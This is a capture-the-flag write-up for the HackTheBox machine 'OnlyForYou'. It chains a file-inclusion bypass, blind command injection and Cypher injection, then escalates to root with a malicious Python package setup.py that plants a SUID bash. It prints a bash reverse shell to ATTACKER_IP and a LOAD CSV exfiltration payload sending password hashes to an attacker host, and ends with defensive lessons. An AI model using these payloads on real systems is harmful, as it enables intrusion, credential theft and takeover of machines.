HTB: OnlyForYou Writeup
OnlyForYou - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | OnlyForYou |
| OS | Linux |
| Difficulty | Medium |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.10.11.X |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐☆☆ (3/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐⭐☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐☆☆☆☆
- CTF-like: ⭐⭐⭐☆☆
Summary
OnlyForYou is a chain of three distinct web vulnerabilities stacked on top of each other. A Local File Inclusion on a beta subdomain leaks the production app’s source, which reveals a blind command injection hiding behind a badly-anchored regex. That shell lands as www-data, from where a set of localhost-only services (Gogs, a custom admin panel backed by Neo4j, MySQL) become reachable. A Cypher injection against the Neo4j-backed admin panel exfiltrates password hashes out-of-band via LOAD CSV, one of which cracks and grants SSH as john. Root is a sudoers misconfiguration: pip3 download is allowed as root against a local Gogs instance, and pip3 download on a .tar.gz sdist executes its setup.py — arbitrary code as uid=0.
TL;DR: LFI (absolute-path bypass on /download) → source disclosure (form.py) → blind command injection (unanchored email regex + shell=True in issecure()) → reverse shell as www-data → local service enumeration → Cypher injection against Neo4j-backed admin panel (admin:admin) → exfiltrated password hash cracked (john:ThisIs4You) → SSH as john → sudo pip3 download misconfig → malicious sdist pushed to Gogs → setup.py RCE as root.
Reconnaissance
Port Scanning
nmap -sC -sV -p- 10.10.11.XResults:
22/tcp— OpenSSH80/tcp— nginx, redirects/vhosts toonly4you.htb
Both hostnames were added to /etc/hosts:
echo "10.10.11.X only4you.htb" | sudo tee -a /etc/hostsecho "10.10.11.X beta.only4you.htb" | sudo tee -a /etc/hostsService Enumeration
The main site on only4you.htb is a static marketing page with a Contact form (POSTs email/subject/message). Subdomain enumeration turned up beta.only4you.htb, a Flask-based image upload/resize/download application — clearly a staging build of functionality intended for the main site.
Vulnerability Assessment
- LFI in
beta.only4you.htb/download— the endpoint’s traversal filter only blocks../../, not absolute paths. - Blind command injection in
issecure()(form.py) —subprocess.run([...], shell=True)against adig txt <domain>string, with the domain taken from a user-supplied email validated by an unanchored regex. - Default creds + Cypher injection on an internal admin panel (
:8001) backed by Neo4j. - Sudoers misconfiguration —
pip3 downloadpermitted as root against a local Gogs URL, which executes attacker-controlledsetup.py.
Initial Foothold
Local File Inclusion — absolute-path bypass
beta.only4you.htb’s /download endpoint accepts a POST with an image parameter, rejecting any value containing ... It does not reject absolute paths, and since os.path.join() is a no-op when the second argument is already absolute, an absolute path sails straight through both checks and into send_file().
# absolute path bypasses the '..'-only traversal filtercurl -s -X POST http://beta.only4you.htb/download \ --data-urlencode 'image=/etc/passwd'Pivoting off the nginx vhost config (also readable via the same LFI) to locate the production app’s document root, the app’s source was pulled directly:
curl -s -X POST http://beta.only4you.htb/download \ --data-urlencode 'image=/var/www/only4you.htb/form.py'Source review — the injection
form.py implements the Contact form’s mail-sending logic. Before sending anything, it “validates” the sender’s email and, critically, checks whether the domain resolves via dig:
# form.py — vulnerable validation logic (recovered via the LFI)if not re.match(r"([A-Za-z0-9]+[.-_])*[A-Za-z0-9]+@[A-Za-z0-9-]+(\.[A-Z|a-z]{2,})", email): return 0else: domain = email.split("@", 1)[1] result = run([f"dig txt {domain}"], shell=True, stdout=PIPE)Two bugs compound here:
subprocess.run([...], shell=True)builds a full shell command string out ofdomain. Withshell=True,;,|,&&etc. are all live shell metacharacters.- The regex has no trailing
$anchor. A regex match only needs to find a matching prefix — it never has to consume the whole string — so anything can be appended after a syntactically valid email and the match still succeeds.
Combined: test@a.io;<anything> passes validation, and <anything> lands inside run([f"dig txt {domain}"], shell=True, ...) as free-form shell input.
Blind command injection → shell
Since dig’s output isn’t reflected anywhere, this is a blind injection — confirmed and weaponized via the main site’s Contact form, using a base64-wrapped payload to dodge shell-metacharacter mangling in the POST body:
# stage a payload, base64 it to survive form-encoding round-tripsPAYLOAD='bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1'echo -n "$PAYLOAD" | base64# start the catchernc -nlvp 4444Submitted as the email field on the Contact form:
test@a.io;<b64 revshell>|base64 -d|bashThe unanchored regex accepts the email prefix, shell=True executes the trailing ;<payload> as a normal shell pipeline, and a shell as www-data lands on the listener.
# upgrade to a usable TTYpython3 -c 'import pty; pty.spawn("/bin/bash")'Lateral Movement
Local service discovery
ss -tlpnOnly reachable from localhost:
| Port | Service |
|---|---|
3000 | Gogs (git hosting) |
8001 | Custom admin web app |
7474 / 7687 | Neo4j (HTTP / Bolt) |
3306 | MySQL |
Cypher injection on the admin panel
Port 8001 logged in immediately with admin:admin. The panel is backed by a Neo4j graph database and exposes a /search endpoint that builds a Cypher query from user input — the classic pattern behind MATCH (n) WHERE n.name CONTAINS '<input>' RETURN n, breakable by closing the string and chaining additional clauses.
Since query results weren’t rendered back cleanly, out-of-band exfiltration via Neo4j’s LOAD CSV FROM clause (which happily performs an outbound HTTP GET as part of query execution) was used to leak data to a listener:
python3 -m http.server 80 # catch the LOAD CSV callbacks// closes the original query, walks the user node, exfiltrates// a collected field by embedding it in the outbound LOAD CSV URL' MATCH (o:user) WHERE o.username =~ '.*' WITH collect(o.password) AS aLOAD CSV FROM 'http://<ATTACKER_IP>/'+a[0] AS c RETURN c //Each request logged to the Python HTTP server leaked a field of the user node — iterating the collected list’s indices dumped both username and password values, one HTTP hit at a time.
Cracking the exfiltrated hash
# sha256, cracked against rockyouhashcat -m 1400 john.hash /usr/share/wordlists/rockyou.txtResult: john:ThisIs4You
ssh john@only4you.htbcat /home/john/user.txtUser Flag: <redacted>Privilege Escalation
Enumerating sudo rights
sudo -l(root) NOPASSWD: /usr/bin/pip3 download http://127.0.0.1:3000/*.tar.gzpip3 download is scoped to fetching packages, but pip does not distinguish “download” from “build”: when pip is handed a source distribution (.tar.gz / sdist, as opposed to a prebuilt wheel), it unpacks it and executes its setup.py to determine build metadata — even during a plain download. Anything importable at module scope in setup.py runs, as whichever UID invoked pip. Root running this against an attacker-writable Gogs URL is a direct RCE-as-root primitive.
Building the malicious sdist
mkdir pwnpack && cd pwnpacktouch README.mdmkdir pwnpack && touch pwnpack/__init__.py# setup.py — executes on `pip download` because setuptools imports it# to resolve metadata before the package is ever "installed"import osimport setuptools
os.system("cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash")
setuptools.setup( name="pwnpack", version="0.0.1", packages=setuptools.find_packages(),)# build the sdist tarball (payload already fired locally when this ran)python3 setup.py sdistHosting it on Gogs and triggering root
The resulting .tar.gz was pushed to john’s own Test repository on the local Gogs instance over git-over-HTTP, authenticated with the cracked john:ThisIs4You credentials:
git clone http://john:ThisIs4You@127.0.0.1:3000/john/Test.gitcp dist/pwnpack-0.0.1.tar.gz Test/cd Testgit add pwnpack-0.0.1.tar.gzgit commit -m "add package"git push origin masterGogs’ REST API had basic-auth disabled, so the repository’s visibility couldn’t be flipped via the API — instead the web settings form was driven directly with the authenticated session cookie to flip the Test repo from private to public, since pip3 download (running as root, with no credentials of its own) can only fetch a raw file from a public repo:
# flip repo visibility via the web settings form using the logged-in session cookiecurl -s -b "i_like_gogits=<session-cookie>" \ -X POST http://127.0.0.1:3000/john/Test/settings \ --data 'private=false&...'With the repo public, the sudoers rule was triggered against the raw file URL:
sudo /usr/bin/pip3 download http://127.0.0.1:3000/john/Test/raw/master/pwnpack-0.0.1.tar.gzpip3 unpacked the sdist and executed setup.py as uid=0, dropping a SUID-root bash:
/tmp/rootbash -pcat /root/root.txtRoot Flag: <redacted>Attack Chain Summary
LFI (absolute-path bypass on /download) → source disclosure (form.py) → blind command injection (unanchored regex + shell=True in issecure()) → reverse shell as www-data → local service enumeration (Gogs:3000, admin:8001, Neo4j:7474/7687, MySQL:3306) → Cypher injection on admin panel (admin:admin) via LOAD CSV out-of-band exfil → cracked password hash (john:ThisIs4You) → SSH as john → user.txt → sudo pip3 download misconfig (root, scoped to local Gogs) → malicious sdist pushed to Gogs, repo flipped public via session-cookie web flow → setup.py executes as root on `pip3 download` → SUID root bash → root.txtTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning |
curl | LFI exploitation, Gogs settings form POST |
python3 -m http.server | Out-of-band callback catcher for command injection + Cypher injection exfil |
nc | Reverse shell listener |
hashcat | Cracking the exfiltrated sha256 hash against rockyou |
git | Pushing the malicious sdist to Gogs over HTTP |
setuptools | Building the malicious setup.py-triggered sdist |
| Browser / Burp-style request tampering | Crafting and submitting Cypher injection payloads |
Key Learnings
Techniques Practiced
- Bypassing a substring-based traversal filter with an absolute path
- Source-code review to escalate an LFI into a targeted secondary vulnerability
- Exploiting an unanchored regex to smuggle extra data past input validation
- Blind command injection via
shell=Truesubprocess calls - Out-of-band Cypher injection using
LOAD CSV FROMas an exfiltration primitive - Building a malicious Python sdist that executes code on
pip download, not justpip install - Working around a disabled API auth path by driving the equivalent web UI flow with a session cookie
Lessons Learned
- Traversal filters that only check for
..are trivially bypassed by absolute paths — normalize and confine to a base directory instead. - Regex validation without a trailing anchor validates a prefix, not the whole string — always anchor with
^...$(and never build shell strings from the “validated” value regardless). subprocesscalls should avoidshell=Trueentirely when any part of the command is user-influenced; pass an argument list instead.pip downloadis not a read-only operation against source distributions — it executessetup.py. Any sudo rule permittingpip download/installagainst an attacker-influenceable index or URL is equivalent to root RCE.- Default credentials on internal/localhost-only services are still a full compromise path once any foothold is gained — “not internet-facing” isn’t a mitigation.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- OnlyForYou — Official HackTheBox Writeup by C4rm3l0 (Machine Author: 0xM4hm0ud) — used for explanatory background on the LFI absolute-path bypass mechanics, the unanchored-regex/
shell=Truecommand injection root cause, the Neo4j Cypher injection query-structure deduction, and whypip3 downloadexecutessetup.pyon sdist archives. All IPs, commands, outputs, credentials, and specific values in this writeup are from the author’s own solve, not the reference.